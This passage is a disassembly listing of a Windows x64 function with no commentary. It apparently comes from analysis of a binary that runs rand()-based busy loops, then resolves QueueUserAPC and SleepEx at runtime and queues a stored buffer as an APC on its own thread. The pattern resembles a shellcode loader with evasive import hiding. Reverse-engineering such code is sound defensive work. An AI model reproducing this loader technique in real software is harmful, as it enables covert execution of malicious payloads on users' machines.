lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x640]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x1b4e81b5
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x12c
sub eax, ecx
mov edx, eax
mov dword [r8], edx
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x7d0]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x638]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x1b4e81b5
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x12c
sub eax, ecx
mov edx, eax
mov dword [r8], edx
mov eax, dword [rbp + 0x7cc]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x640]
add rax, rdx
mov edx, dword [rbp + 0x7d0]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x630]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
mov eax, dword [rbp + 0x7cc]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x638]
add rax, rdx
mov edx, dword [rbp + 0x7d0]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x628]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
sub dword [rbp + 0x7cc], 1
add dword [rbp + 0x7d0], 1
cmp dword [rbp + 0x7d0], 0x2dd
jle 0x1400029cd
mov rax, qword [rbp + 0x640]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x638]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x630]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x628]
mov rcx, rax
call sub.msvcrt.dll_free
add dword [rbp + 0x7fc], 1
add dword [rbp + 0x804], 1
cmp dword [rbp + 0x804], 0x506
jle 0x140002706
mov rax, qword [rbp + 0x680]
mov qword [rbp + 0x668], rax
mov rax, qword [rbp + 0x7b8]
lea rdx, str.QueueUserAPC
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x660], rax
mov rax, qword [rbp + 0x7b8]
lea rdx, str.SleepEx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x658], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentThread]
call rax
mov rdx, rax
mov rax, qword [rbp + 0x668]
mov r9, qword [rbp + 0x660]
mov r8d, 0
mov rcx, rax
call r9
mov rax, qword [rbp + 0x658]
mov edx, 1
mov ecx, 0xffffffff
call rax
mov eax, 0
add rsp, 0x8c8
pop rbx
pop rsi
pop rdi
pop rbp
ret